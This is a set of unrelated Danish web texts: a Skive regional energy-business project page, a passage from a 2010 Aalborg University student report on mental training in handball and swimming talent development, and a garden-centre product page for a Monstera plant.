industri, Grøn omstilling, Energieffektivisering, Geotermi, Smart teknologi og Forgasning.\nEnergi i Væksten laver både tætte forløb med enkelt virksomheder og fælles forløb med flere virksomheder. Derudover laver vi en lang række arrangementer med fokus på energiområdet.\nBlandt andet arrangerer vi en række briefingmøder, hvor vi med forskellige emner sætter fokus på aktuelle ting, som rører sig på energiområdet.\n"EiV´s briefingmøde for underleverandører til etablering af bioenergigasanlæg viser, at vi også lokalt er på banen på det her område. Og på mødet fik jeg gode kontakter. Jeg skal nu hjem og finde lokale underleverandører, som jeg kan samarbejde med."\n"Direktør Kurt G. Andersen, Frontmatec.\nEnergi i Væksten skal støtte de lokale virksomheder, så de får mulighed for at bidrage til - og profitere af - energiprojekter og energiinitiativer.\nKom tættere på mål\nEnergi i Væksten hjælper lokale virksomheder til at vækste inden for energiområdet. Hos os møder du konsulenter, der kan hjælpe med kapitalfremskaffelse, funding, partnere og projekter - eller noget helt femte.\n"Vi trækker så mange af vores lokale virksomheder som muligt ind i arbejdet med at bygge og udvikle vores forgasningsanlæg"\nTage Meltofte, adm. direktør, Skive Fjernvarme a.m.b.a.\nKontakt os og hør mere om Energi i Væksten\nEnergi i Væksten er for dig, der søger:\nMatchmaking (mellem projekter og virksomheder)\nTilmeld dig vores nyhedsbrevet og få opdateringer og nyheder så snart de udkommer på hjemmesiden. Nyhedsbrevet udkommer 4-6 gange om året og du kan til enhver tid afmelde dig via link i nyhedsbrevet.\nT: 96 14 76 77\nT: 27 16 95 64\nT: 40 20 21 41\nØsterbro 7 / 7800 Skive / T: 96 14 76 77\ninfo@skiveet.dk / www.skiveet.dk\nEnergi i Væksten er et 3 årigt projekt finansieret af Region Midtjylland og Skive Kommune.\nEnergi i Væksten hører til hos SET, Skiveegnens Erhvervs- og Turistcenter.\n"Vi bruger store mængder af vand og brændsler, som vi kan spare miljøet for, hvis molerstøvet kan genanvendes på anden måde"\nVedligeholdelseschef, Per Toft, Damolin A/S\nFind SET på Facebook\nFind SET på LinkedIn\nNyhed- & casearkiv\nBiogasanlæg skaber vækst\nStøvpulver fra Damolin\nForgasning i skaber jobs\nØsterbro 7 / 7800 Skive


Mentaltræning. i AaB Håndbold & AGF Svømnings talentudvikling. Gruppe 10gr322 - PDF\nMentaltræning. i AaB Håndbold & AGF Svømnings talentudvikling. Gruppe 10gr322\nDownload "Mentaltræning. i AaB Håndbold & AGF Svømnings talentudvikling. Gruppe 10gr322"\n1 Mentaltræning i AaB Håndbold & AGF Svømnings talentudvikling Gruppe 10gr322\n3 Titel: Mentaltræning - i AaB Håndbold & AGF Svømnings talentudvikling Tema: Præstationsoptimering - Talentudvikling Projektperiode: P3 Projektgruppe: 10gr322 Deltagere: Peter Sebastian Andersen Kristine Hessellund Bisgaard Dennis Walther Nielsen Casper Falborg Nordström Aleksander Risom Nyrup Michelle Villemoes Synopsis: Dette projekt omhandler mentaltræning i AaB Håndbold og AGF Svømnings talentudvikling. Projektet tager udgangspunkt i forskelle mellem individuel- og holdsport. Igennem kvalitative interviews af to talenttrænere fra ovenstående klubber, er implementeringen af mentaltræning i talentudviklingen undersøgt. Projektets undersøgelse konkluderer, at mentaltræning implementeres i begge klubber, men ikke i samme omfang. Forskellene skal findes i de to sportsgrenes forskellige mentale krav. Vejleder: Claus Estrup Oplagstal: 9 Sideantal: 88 Bilagsantal: 4 Afsluttet den 21. december 2010 Rapportens indhold er frit tilgængeligt, men offentliggørelse (med kildeangivelse) må kun ske efter aftale med forfatterne.\n5 Forord Dette projekt er udarbejdet med udgangspunkt i den stigende fokus, der gør sig gældende for sportsverdenens talentudvikling. Det ønskes at give indblik i hvilke kræfter og hvilken indsats der gøres i forhold til udviklingen af talenters mentale kompetencer. Der sættes fokus på den mentale del af talentudviklingen, da dette kan være elementet der sorterer gode præstationer fra toppræstationer. Projektet tager udgangspunkt i to klubber, og to forskellige sportsgrene, henholdsvis svømning og håndbold. Dertil opstilles fokuspunkter der findes relevante for mentaltræning til de givende sportsgrene, og teorien beskrives dertil. Det vil forsøges, at give indblik i hvilke ligheder og forskelle i mentaltræning,der gør sig gældende for ovenstående sportsgrene. Projektet er udarbejdet af projektgruppe 10gr322, Sports Science, ved Aalborg Universitet. Udarbejdelsen af projektet, har forløbet fra 1. september 2010 til og med 21. december 2010, hvor afleveringen af projektet har fundet sted. Udarbejdelsen af projektet har været i samarbejde med studielektor for det Sundhedsvidenskabelige og Teknologiske fakultet, Claus Estrup. Der skal lyde en stor tak til Claus, der har været fleksibel og grundig i hans samarbejde. Ligeledes en tak til studiesekretærer ved Det teknisk-natur-, og sundhedsvidenskabelige fakultet, Rikke Leth Jørgensen og Berit Lund Sørensen, der begge har været behjælpelige, i forbindelse med projektspørgsmål og reservation af lokaler. Ydermere lyder en stor tak til U-19 landsholdets håndboldtræner, Claus Hansen samt holdets mentaltræner, Thor Munkager. Ligeledes tak til Christian Holst Fischer, Morten Secher, Jacob Hansen og Kristoffer Henriksen. Alle har de været til stor hjælp, og inspirationskilder til indhold og udformning af projektet. Projektet henvender sig til de, der ønsker indblik i den professionelle sportsverdens arbejde med den mentale del af talentudvikling, og udvalgte teorier der vedrører mentaltræning. God fornøjelse i\n6 Læsevejledning Dette projekt er bygget op omkring otte kapitler, hvilket opfordres at læse kronologisk. Første kapitel er indledningen, som giver indblik i hvilke tiltag, der foretages med henblik på at forbedre elitesporten. Ydermere beskrives talentudvikling, og der opstilles profilanalyser for håndbold og svømning. Dette følges af andet kapitel, hvor projektet afgrænses. Den indsamlede information fra indledningen danner herved baggrunden for udformning af problemformuleringen. Til besvarelse af denne, opstilles tredje kapitel, hvori anvendte metoder, og dertil hørende kritik, bliver gennemgået. I fjerde kapitel gennemgås den nødvendige teori om mentaltræning, for herved at oplyse læseren om de teorier, der anvendes gennem projektet. Ligeledes vil de berørte emner i teori danne grundlag for videre arbejde med udformning af interviews. Dette efterfølges af femte kapitel, hvori interviewenes svar analyseres. Her fremhæves, hvordan trænerne arbejder med mentaltræning i de respektive klubber. Efterfølgende diskussion i sjette kapitel udarbejdes ud fra teoretisk viden, opnået ved litteraturstudier og indsamlet viden fra analysen. Denne diskussion fører videre til kapitel syv, hvor konklusionen besvarer projektets problemformulering. Sidst i rapporten vil kapitel otte opstille en perspektivering, der omhandler mulige emner til videre undersøgelse i fremtidige projekter. Hermed projektets opbygning, der således kan skitseres som på figur 0.1. ii\n7 Figur 1. Projektopbygning iii\n8 Indholdsfortegnelse Kapitel 1 Indledning Team Danmark Talent Profilanalyser Kapitel 2 Projektafgrænsning 14 Kapitel 3 Problemformulering 16 Kapitel 4 Metode Den kvantitative metode Den kvalitative metode Metodevalg Reliabilitet Validitet Metodetriangulering Interview Kvalitative forskningsinterview Et semistruktureret livsverdensinterview Metodekritik Kapitel 5 Teori Mentaltræning Mentaltræning i klubberne Motivation og målsætning Spændingsregulering Visualisering Mentaltræning i holdsport Mentale krav i forskellige sportsgrene Ledelsesstile Coaching Kapitel 6 Analyse Interview i AGF Interview i AaB Kapitel 7 Diskussion 49 iv\n9 7.1 Mentale krav Motivation og målsætning Visualisering Spændingsregulering Kohæsion Coaching Team Danmark Fremtiden Kapitel 8 Konklusion 60 Kapitel 9 Perspektivering 63 Kapitel 10 Kildeliste 65 Appendiks A Bilag 69 Appendiks B Bilag 71 Appendiks C Bilag 73 Appendiks D Bilag 76 v\n11 Indledning 1 Kampen om medajler i de største sportsbegivenheder i verden bliver større og større. Samtidig stiger også Danmarks ønske om at opnå et større udbytte af medajler. Dette har medført, at Team Danmark tidligere har lavet en medaljekontrakt med Kulturministeriet, hvoraf det sikres, at medajlehøsten øges år efter år. Ønsket om at øge antallet af medaljer, er ikke kun stigende i Danmark, men er et ønske for flere nationer verden over. Dette ønske viser sig, for Danmarks vedkommende tydeligt, idet Kulturministeriet i årene har bevilliget 65 mio. kr. årligt, til dansk eliteidræt. Heraf bruges mindst 35 mio. kr. på talentudvikling. Dette er et tegn på, at den tidligere bredde, der har været i dansk idræt, skal ændres, således, at der i stedet er primær fokus på eliten. Ydermere er der efter Kulturministeriets udformning af Eliteidrætsloven i 2004, der fastlægger rammerne for Team Danmark [I17], en stigende interesse fra kommunerne i at blive elitekommuner. For at blive elitekommune, kræver det, at kommunen forpligter sig til en bred satsning med idrætten, herunder at opstille fornuftige faciliteter, gode uddannelsesmuligheder, og tilskudsmuligheder til eliteudøvere. Eliteidrætsloven gav ved sin indførelse mulighed for direkte støtte til eliteidrætten, hvilket der tidligere har været uklarheder om. Herved øges de økonomiske midler til dansk eliteidræt yderligere, idet statens bevilling ikke er den eneste hertil. Kommunerne yder nu den største støtte til dansk idræt. Hermed har statens øgede fokus på eliteidræt medført, at også den kommunale interesse er vokset. Kommunernes satsning på eliteidrætten ses også i antallet af nye byggerier, der fremmer interessen for elitens udvikling og faciliteter. Ved den nyopførte Jyske Bank BOXEN, der er Danmarks første indendørs multifleksible hal, med plads til op mod tilskuere, ses et eksempel på en facilitet der indbyder til store sportsarrangementer. [I8][I18][I19] I takt med den øgede budgettering fra staten, følger mediernes opmærksomhed også med. Det betyder, at sportens vindere bliver gjort til helte og at befolkningsgrupper dermed tilbeder udøverne. Sporten er dermed til for publikum, frem for udøverne. [A1] Hermed er nu fastlagt, hvorledes økonomi driver elitesportens udvikling, og dermed også vækker interesse på alle samfundsniveauer. Problematikken med de øgede investeringer er, at den samme udvikling gør sig gældende i andre lande. Herved får den danske oprustning ingen effekt, i forhold til andre nationer med samme eller bedre økonomiske midler, men effekten bliver udelukkende en dyrere eliteidræt verden over. Af dette ses, 1\n12 at god økonomi ikke er nok, til at vinde medajler. Faktorer der spiller ind ved international sportslig succes, kan opdeles i makro-, meso- og mikroniveau. Makroniveauet beskrives ved landets sociale forhold, hvilket bl.a. udgøres af økonomi, velfærdssystem, befolkningsgrundlag og geografisk placering. Mesoniveauet dækker fx over finansieringen af eliteidrætten, der allerede er beskrevet. Derudover beskrives mesoniveauet ved opbygningen, tilrettelæggelsen, organiseringen og udviklingen af elitemiljøet. Sidste forhold, mikroniveauet, beskriver samtlige faktorer omkring den enkelte udøver, eksempelvis træner, træningsforløb, venner, forældre m.m. Hvilke af ovennævnte faktorer der har størst betydning for den eftertragtede succes, er der forskellige meninger om. Der er dog enighed omkring, at alle niveauer spiller ind. Herved ses, at ønsker et land international sportslig succes, kræver det fokus på optimering af både makro-, meso-, og mikroniveauet. Denne mulighed eksisterer ikke altid, da ikke alle forhold kan ændres, fx indbyggertal. Følgende er opstillet justerbare parametre fra mesoniveauet med særlig relevans, hvis der ønskes international succes: ˆ Finansiering ˆ Talentudvikling og talentidentifikation ˆ Klar rollefordeling og enkel administration ˆ Mulighed for international konkurrencedeltagelse ˆ Faciliteter ˆ Sportsvidenskab og idrætsmedicin Talentudvikling og talentidentifikation er et andet særligt fokuspunkt ved ønsket om, at opnå flere medaljetagere. Talentudviklingen foregår forskelligt verden over. I nogle lande starter talentidentifikationen ved, at undersøge unges fysiologi og motorik, og deraf oplyse i hvilken sportsgren, der vil være størst mulighed for sportslig succes. Efterfølgende tilbydes professionel træning til de unge med størst mulighed for at udvikle talent. Denne metode bliver fx systematisk praktiseret i Australien. Udvælgelsen af mulige talenter i Danmark ligger langt fra måden, hvorpå det foregår i Australien. Der er i Danmark tradition for, at en udøver selv vælger sin sportsgren, og først senere gøres opmærksom på, at han har talent, hvorefter talentudviklingsprocessen starter. Denne sene talentidentifikation møder kritik, da undersøgelser viser, at systematisering af talentidentifikation og -udvikling øger muligheden for større talentmasse, og er dermed et vigtigt element for lande med lavt indbyggertal. Ligeledes foreslog Idrættens Analyseinstitut i 2008, at Team Danmark får større fokus på talentidentifikation og udvikling, da der også internationalt er en skarpere prioritering på OL-disciplinerne. [I20][A2] I mikroniveauet sættes også fokus på, hvad der skal til for at skaffe Danmark flere medaljer. I ovennævnte forslag til udvikling af elitestøtten fra Idrættens Analyseinstitut påpeges også, at Team Danmark burde styrke det sportspsykologiske område og skabe bedre koordinering af ekspertbistanden. [I20] Dette bygger bl.a. på en analyse, der viste, at 49 % af udøvere og trænere mente, at service- og vidensniveauet om sportspsykologi i Team Danmark kunne være bedre [I4]. Hermed ses, at de fysiske forskelle på eliteudøvere, ikke længere er de eneste kvaliteter der gør sig gældende, når det afgøres, hvem 2\n13 der vinder. Interessen for at udvikle talenters mentale evner er stigende, og indenfor talentudviklingen hersker der ingen tvivl om vigtigheden af netop de mentale elementer. [I2][I7] Artiklen The Totalization Process in International Sport beskriver allerede i 1982, at ikke kun eliteudøvere, men også amatører, tildeler deres tid til sporten, i stedet for at tilpasse sporten deres tid. Det, samt den øgede støtte, og deraf medfølgende forventninger om gode resultater, medfører yderligere pres på udøverne for at opnå succes. En træner udtaler i artiklen Winning is not the main thing, it is the only thing [A1]. Holdninger som denne har medført en øget opmærksomhed på den individuelles interesser, som indebærer håndtering af både fysiske og mentale kompetencer. Derfor skal trænere uddannes, så de kan optimere en eliteudøvers præstation. Artiklen beskriver ligeledes, at udøvere er afhængige af trænere, sportslæger, forskere og andre specialister for at adskille sig fra de øvrige atleter og derved udvikle sig til vindere. [A1] I interviewet med landstræner for U-19 landsholdet i håndbold Claus Hansen og mentaltræner Thor Munkager bekræftes ovenstående holdning, hvor Thor Munkager fortæller: Fra Team Danmarks side siger man, at nu vil vi simpelthen smide alle vores penge efter mentaltræning. Alt andet er altså næsten blevet skåret det er det eneste område, næsten, der simpelthen bliver boostet, fordi man ved at det er dér det ligger, man er slet ikke i tvivl [V2;12.40]. [V2] Med Team Danmarks øgede fokus på sportspsykologi er nogle klubber blevet inspirerede til at arbejde med mentaltræning. Hertil er coaching ligeledes blevet populært. Coaching kan være en måde at arbejde med mentaltræning, da det er en samtaleform, hvor der med en spørgende tilgang fra træneren, findes frem til løsninger på problemstillinger, der kan udvikle udøveren. [I3][L6] Jeg kan jo ikke beslutte, hvad der er rigtigt at gøre for mine udøvere. Så lærer de jo aldrig selv at træffe de beslutninger. Jeg skal lære dem at reflektere og træffe de rette valg [L6;15]. Som ovenstående citat udtrykker, har trænere fokus på udøverens tanker og refleksioner og som Claus Hansen udtrykker det:... men i dialogen med de unge mennesker kan jeg tydeligt mærke, som ungdomstræner, sådan en 10 års tid, nu her, at der har de flyttet sig rigtig meget [V2;39.00]. Samtidig er det dog nødvendigt kun at se coaching som en start, der må udvikles. [V2] Team Danmark er allerede beskrevet i forbindelse med talentudvikling og sportspsykologi. Da Team Danmark er den centrale og koordinerende organisation, der driver udviklingen af dansk eliteidræt samt en vidensorganisation, må udvikling starte i Team Danmark og derefter implementeres i klubberne. Dette ses fx ved Team Danmarks fokus på mentaltræning, i bl.a. Det Sportspsykologiske Koncept, der primært henvender sig til landsholdene [I3][I5][I6]. 3\n14 1.1 Team Danmark I Team Danmark er der stor fokus på den psykologiske del af talenttræningen. Det Sportspsykologiske Koncept er et af Team Danmarks store indsatsområder. Team Danmarks vision er at gøre: Danmark til det bedste sted i verden at dyrke elitesport [I2;15]. Hertil definerer Team Danmark elite i tre grupper, som er karakteriseret ved det sportslige niveau, se figur 1.1: ˆ International elite ˆ National elite ˆ Klubelite Figur 1.1. Definition af elite. [I2] Det er her muligt at være repræsenteret i flere af grupperne. Eksempelvis kan udøvere, som Team Danmark afgrænser til klubeliten også være repræsenteret i den nationale elite, da klubberne kan have medlemmer på landsholdet. Dog er det ikke alle eliteudøvere fra klubberne, der støttes af Team Danmark. Ekspertviden om sportspsykologi er en af de ydelser Team Danmark giver bruttogruppen, som omfatter landsholdsdeltagere fra specialforbundene. Den sportspsykologiske indsats blev, som beskrevet, førhen ikke tildelt samme opmærksomhed og derved samme støtte, som gør sig gældende i dag. Den nye plan omkring sportspsykologi, vil i perioden yde større indsats på dette område. Der er hertil udarbejdet Det Sportspsykologisk Koncept , som et led i målsætningen om:...at elitesportsfolk skal opnå mentale redskaber til at præstere optimalt [L3;1]. Som beskrevet, udspringer den øgede fokus på sportspsykologi af en undersøgelse fra Idrættens Analyse Institut, der viser stor utilfredshed med service- og vidensniveauet indenfor sportspsykologi hos Team Danmark. Konceptet er bygget op omkring tre fokusområder, der både giver støttemuligheder for planlagte og akutte forløb: 4\n15 ˆ Træning af sportspsykologiske færdigheder ˆ Udviklingssamtaler ˆ Psykologisk hjælp I Det Sportspsykologiske Koncept vil Team Danmark fokusere ekstra på: ˆ At udvikle overordnede planer for specialforbundene ˆ At opkvalificere trænerne ˆ At øge brugen af planlagt træning af sportspsykologiske færdigheder Det er et mål for Team Danmark at arbejde proaktivt med sportspsykologi, hvilket kræver overordnede planer og idrætsspecifikke træningsmetoder. For at sikre et struktureret forløb i alle specialforbundene er der ansat fire sportspsykologiske konsulenter til at koordinere arbejdet med sportspsykologi i Team Danmark. Dette skal øge vidensdelingen mellem specialforbundene, og skal i den daglige træning skabe tættere sammenspil mellem udøvere, trænere og sportspsykologiske konsulenter. Konsulenterne skal udarbejde mentalprogrammer til de enkelte sportsgrene, så disse ensrettes i specialforbundene. Sportspsykologisk konsulent fra Team Danmark, Jakob Hansen fortæller, at konsulenterne afholder møder med træneren, hvor det klargøres hvilke udfordringer udøverne står over for. Dertil opstilles planer for, hvordan der skal arbejdes med udfordringerne. Samtidig skal trænerens uddannelsesniveau udvikles, for på den måde at sikre, at der arbejdes rigtigt med mentalprogrammet. Jakob Hansen fortæller også, hvordan sportsgrenene er delt op mellem ham og kollegaerne, så alle sportsgrene bliver analyseret grundigt på samme niveau: Filosofien er, at se på hvilke mentale krav der er til den enkelte idræt, og så prøver man at bruge sin fantasi til at finde på specifikke træningsøvelser [V8; 6.33]. Denne metode bruges i alle sportsgrene. Ligeledes uddyber han, hvordan de specifikke træningsøvelser kan være udarbejdet af ham alene eller i dialog med træneren. Team Danmark lægger i konceptbeskrivelsen vægt på, at der er fokus på de særlige mentale krav i den enkelte sportsgren. Mentaltræningen vil typisk opbygges af et mentalt træningsprogram og udviklingssamtaler, hvilket også tilbydes for enkelte udøvere i holdsporten. Konceptet har grundlæggende fokus på trænernes vigtighed i forbindelse med mentaltræning, da trænerne er udøverne nærmest. Team Danmark vil uddanne trænere i sportspsykologi, og hermed give dem basisviden og praktiske eksempler på mentale træningsteknikker. Dette giver mulighed for at integrere og anvende mentaltræning i den daglige træning. Yderligere skal landstrænerne have en coachinguddannelse. For den enkelte udøver er det vigtigt, at mentaltræning integreres i træningen. For optimalt udbytte kræves dertil, at udøveren skal på kursus i sportspsykologi. Yderligere er der fokus på, at hjælpe udøveren med tilrettelæggelse af sit liv som elitesportsudøver. Claus Hansen fortæller, hvordan de psykologiske termer skal synliggøres i foredragene med udøverne, hvis de ønskes optimalt anvendelige: At man tør synliggøre det i den daglige træning, at man bringer det på banen, ligeså naturligt som og snakke om man har fået løbet, styrketrænet, at man tager de psykologiske termer ind [V2;14.10]. 5\n16 Denne nye strukturerede tilgang til mentaltræning i Team Danmarks bruttogruppe, strækker sig ikke til klubeliten. Trods dette faktum kan klubberne lade sig inspirere af Team Danmarks metoder, når de planlægger mentaltræning. Kristoffer Henriksens, sportspsykologisk konsulent i Team Danmark, fortæller:...at vi i Team Danmark kun ønsker, at vores metoder m.m. udbredes mest muligt og bruges så meget som muligt i klubber osv. Derfor ligger Team Danmarks sportspsykologiske model også frit tilgængeligt på hjemmesiden [BA]. Jakob Hansen fortæller også, at Team Danmark i starten må prioritere nogle specialforbund, da projektet stadig er meget nyt. [I2][I3][I4][V6] 1.2 Talent Talent kan opfattes på mange måder, og diskussionen om hvad talent er, skyldes at der dertil ikke er en entydig definition. Omkring talentudvikling diskuteres det, hvorvidt eliteudøvere har et særligt medfødt talent, der skaber resultaterne, eller om det er mængden af intensiv træning samt kompetente trænere, der skaber de særlige evner. Kristoffer Henriksen har lavet en definition af talent, der lyder: Et sæt karakteristika, kompetencer og evner, der er udviklet på basis af medfødt potentiale og mange års træning, konkurrence og interaktion med det omkringliggende miljø [L1;22]. Kristoffer Henriksen ser dermed talent som et medfødt potentiale, der skal trænes intensivt for at optimere potentialet samt præstere på højt niveau. At have talentet er derfor ikke nok i sig selv, men muligheden for blive eliteudøver fremkommer heller ikke uden talentet. Der er i dag udarbejdet flere modeller der beskriver talent. Mange beskriver, at det ikke er nok, fx at have fysisk gode forudsætninger, da talent defineres ved flere egenskaber. Figur 1.2, viser hvordan opfattelsen af talent bygger på mange faktorer. Figuren viser ikke, at vægtfordelingen er forskellig fra talent til talent, alt efter hvilke krav der stilles i den specifikke sportsgren. Forskellen i vægtfordeling er det der gør talentet unikt. Igen ses psykologi, som en del af det der skaber talent. Som tidligere nævnt er miljøet også vigtigt, for talenternes udvikling af evner og potentiale, så de via en udviklingsproces bliver eliteudøvere. I udviklingsprocessen har personlighed, motivation, læringsstrategier og miljø stor betydning. Disse faktorer kan både påvirke processen positivt og negativt. Talentudviklingsprocessen kan også påvirkes af held og tilfældigheder. Her tænkes på medfødte evner, en særlig psyke eller det at være placeret i et godt miljø. Vejen fra talent til elite er derimod ikke tilfældig, og kan dermed kun ske ved en planlagt indsats, engagement, motivation og det rette miljø. Som tidligere beskrevet arbejdes forskelligt med talentudvikling verden over. Overordnet ses to opfattelser af, hvordan talenter udvikles bedst. Ericsson, psykologiprofessor på Florida State University, mener, at en tidlig specialisering vil gavne talentet, da træningsmængden er kravet for at udvikle excellence. Jean Côté, Ph.D. professor fra Queen s University i Canada, er af en anden overbevisning, da han er fortaler for, at talenter udvikles bedst ved en selvorganiserende legende træning og sent specialiseret udvikling. [L1][I21][I25] 6\n17 Figur 1.2. Multidimensionel model af talent. [L1] Fokus på hvorledes talenter udvikler sig, har gennem tiden ændret sig sideløbende med sportens udvikling. Claus Hansen nævner, en faktor der spiller ind i talentudviklingen: Tidligere har man kunne leve meget på det jeg vil kalde, det klassiske talent, det at man har nogle medførte evner, der gør at man har nemt ved noget. Der kan vi mærke at med den professionalisering der er sket, træningsmængden er steget, presset er blevet større. Så skal vi have nogle nu, som både kan og vil det [V2;3.45]. I henhold til de personlige udviklingstræk hos elitesportsudøvere har Potsdamundersøgelsen fra , som sammenlignede elever på en elitesportsskole med elever fra en almindelig skole, konkluderet, at unge, der blev indskrevet på en elitesportsskole, havde en signifikant anderledes personlighedsprofil. De udviste bl.a. mindre frygt for at fejle og højere handlingsorientering under præstation. Talentudvikling i Danmark handler ikke blot om at omdanne unge mennesker til eliteudøvere, men også om at udvikle hele mennesker der fungerer i samfundet. Den store interesse i at udvikle talenter, skyldes bl.a. at spillerindkøb i nogle sportsgrene er store investeringer. Hvis en klub har mulighed for at skabe et supertalent, er der ikke kun mulighed for at spare penge på indkøb, men ydermere kan det blive en økonomisk gevinst, hvis en klub kan sælge et stortalent. Derfor bruges mere tid end førhen, på at finde og udvikle de bedste talenter. 7\n18 Eliteidrættens udøvere og trænere er bevidste om, at kravene til den fysiske formåen for nutidens eliteudøvere skal være helt i top. Udøvernes teknik, taktik og tempo er derfor svær at udvikle så dette alene skaber resultater. Dette betyder, at der i dagens eliteidræt forsøges nye og gennembrydende metoder til at udvikle talenter. Her tales ikke kun om træningsmetoder, men om alle de faktorer der præger talenters liv. Thor Munkager snakker bl.a. om lifeskills: Det der lifeskills, det er piv vigtigt. Hvis man finder ud af, der er et menneske, der ikke kan få sit liv til at fungere, eller at håndbolden er det eneste der fungerer. Så er de dårligt stillet. Det varer ikke lang tid før præstationsangsten spiller ind [V2;25.30]. Gennem forskning er fundet ud af en række faktorer, der også spiller ind. Dette er bl.a. kost, restitution, fysiologi, antropometri og mentalitet. Ovenstående faktorer spiller alle en vigtig rolle, hvis det ønskes, at et talent skal have de bedste muligheder. Både kroppen i dens størrelse, men også fysiologisk, mht. fx muskelfibersammensætning og iltoptagelse, er medvirkende til, om udøvers udgangspunkt er optimalt til en given disciplin, og kan kun i begrænset mængde tilpasses en idræt. Her findes både medførte og påvirkelige faktorer ved fx kostplaner og træningsplaner. Derved kan der på nogle områder skabes ens udgangspunkter, hvorimod andre faktorer, som fx mentalitet er forskellig fra person til person. [L1] Der må derfor tages højde for ovennævnte forhold indenfor den enkelte sportsgren, når det ønskes at opnå medaljer. To sportsgrene, hvori Danmark har haft succes, er svømning og håndbold. Dansk elitesvømning præsterede sidste sommer, flere finalepladser og medaljer til VM, og Dansk håndbold har vundet flere medaljer på både dame- og herresiden, fordelt på både senior- og ungdomslandsholdene. [I10][I11][I22] 1.3 Profilanalyser De grundlæggende krav til en svømmer og en håndboldspiller, vil i dette afsnit belyses, for dermed at danne et sammenligningsgrundlag. Kravene forklares i en generel betydning for udøveren, da der kan forekomme variation afhængig af svømmedisciplin eller håndboldsspillerens position på banen. I afsnit 1.2 Talent beskrives ved figur 1.2, hvilke faktorer der definerer talentet. ˆ Antropometri ˆ Fysiologi ˆ Motorik ˆ Sociologi ˆ Miljø ˆ Mentalitet En anden måde at opstille disse faktorer, kan beskrives ved figur 1.3. Følgende arbejdskravsanalyse tager udgangspunkt i disse, men yderligere beskrives også taktik. 8\n19 Figur 1.3. Faktorer, der definerer talent.[l1] Antropometriske krav Antroprometri kan ikke ændres ved træning, da det er en genetisk faktor. [L1] Svømning Prototypen for en herresvømmer måler cm, og har store hænder og store fødder. Dette skyldes øget evne til fremdrift i vandet. Har en svømmer ikke dette størrelsesforhold, kræver det ekstra af svømmeren, på andre områder. [V4][L10] Håndbold Prototypen på en herrehåndboldspiller er cm, vejer mellem 85 og 105 kg og har evne til at udvikle stor muskelstyrke både til max styrke og eksplosiv styrke. Den store kropsmasse er en fordel i spillet grundet meget kropskontakt, og har spilleren ikke denne antropometriske fordel, kræves mere på andre områder. [I9] Fysiologiske krav Fysiologiske faktorer har et genetisk udgangspunkt, men kan ændres delvist ved træning. [L1] 9\n20 Svømning Svømning er en fysisk hård disciplin. For en svømmer er det generelt vigtigt at fokusere på den relative styrke, dvs. evnen til at producere kraft i vandet. Derudover er det vigtigt at en svømmer er bevægelig. Der kræves primært meget styrke i overkroppen og bagside af kroppen. Udover træning af ryg og overkrop, består en del af den fysiske træning af coretræning, der udgør den nedre ryg- og mavemuskulatur, hvilket giver svømmeren mere stabilitet i vandet. Den fysiske træning i svømning, er ofte baseret på forholdet 3 til 1, dvs. at der trænes tre gange så meget ryg, som mave. I svømning arbejdes både aerobt og anaerobt, afhængig af distancen. [V4][V6][L10] Håndbold Håndbold er ligeledes en fysisk hård sportsgren. I håndbold er spændstighed en vigtig egenskab, da det kræves i alle tekniske detaljer. Det er desuden en fordel at styrketræne med henblik på at udvikle større muskelmasse, samt at kunne udvikle stor muskelstyrke både til max og eksplosiv styrke. I forbindelse med styrketræning er det dermed vigtigt at opretholde balance mellem at være stor og være spændstig, da for tung kropsmasse kan nedsætte evnen til temposkift. Der stilles både krav til anaerob kapacitet, fx i form af eksplosive afsæt, og aerob kapacitet idet kampene varer en time. [V5][V6][L11] Motoriske krav Motoriske faktorer dækker over koordinationsevner og dermed også tekniske færdigheder. [L1] Svømning De tekniske elementer i svømning er meget individuelle, afhængig af disciplinen. En af de overordnede tekniske overvejelser for en svømmer, er optimering af fremdriften, og at skabe mindst muligt modstand. Et eksempel på denne sammenhæng kan være, at en konkurrencesvømmer i fri, oftest svømmer crawl. Denne svømmestil er hurtigst, da en konstant fart og vandret kropsposition, skaber mindst mulig vandmodstand. Indspring og vendinger er andre elementer, der kræver teknisk præcision. Teknik er et vigtigt element for en svømmer, da det er de tekniske detaljer der adskiller de bedste fra de gode. [L10][I22] Håndbold Hver enkelt spillers tekniske færdigheder bruges til at skabe et sammenspil. De grundlæggende færdigheder i håndbold er at kaste og gribe, mens spillerne bevæger 10


Køb Monstera deliciosa - Fingerphilodendron Ø15 / 50-60 cm høj hos DECOPLANT A/S\nMonstera deliciosa - Fingerphilodendron Ø15 / 50-60 cm høj\nDenne plante er kendetegnet ved sine store og smukke blade, der har huller og fliger. Også kendt som bloggerplanten, da den har været meget populær de seneste år. Planten er ca. 60 cm høj og kommer i en potte på Ø15-17 cm.\nDer ikke noget at sige til, at denne plante får en til at føle, at man befinder sig under mere eksotiske himmelstrøg. Monstera'en er en klatreplante, og i dens naturlige omgivelser i regnskoven vil man se, at planten slynger sig op af træer, hvor den kan vokse sig ekstrem stor.\nPlanten er kendetegnet ved sine store og smukke blade, der har huller og fliger ind fra kanten.\nOgså kendt som... Fingerphilodendron\nLysbehov: Delvis sol / halvskygge\nPlanten er nem at have med at gøre.\nDa det er en klatreplante af natur, bør man støtte planten med pinde, i takt med at den vokser sig større, hvis man vil undgå, at den breder sig i alle retninger.\nVand: I sommermånederne vandes der oftere, mens du i de koldere perioder kan nøjes med mindre. Pas på du ikke overvander.\nPlacering: Du skal ikke sætte den der, hvor middagssolen skarpe stråler rammer og heller ikke i det mørkeste hjørne, men alle placeringer derimellem vil være fine.\nTemperatur: Trives godt ved rumtemperatur på 15-30°C.\nGødning: I de varmere måneder fra april til september kan planten godt lide at få gødning en gang imellem.\nPleje: Monstera'ens blade har en ret stor overflade, kan der godt sætte sig støv på dem. Hvis du støver bladene af engang imellem, vil det få bladene til at fremstå smukke og skinnende igen, og de vil bedre kunne omdanne luften til ilt.\nGartnerens fif: Da det er en klatreplante af natur, bør man støtte planten med pinde eller mosstok, i takt med at den vokser sig større, hvis man vil undgå, at den breder sig i alle retninger.\nMonstera'en kan godt lide et bad ind i mellem. Det øger nemlig luftfugtigheden omkring planten og minder den om det tropiske klima, den oprindeligt kommer fra.\nLæs mere om Monstera på vores inspirationsside !


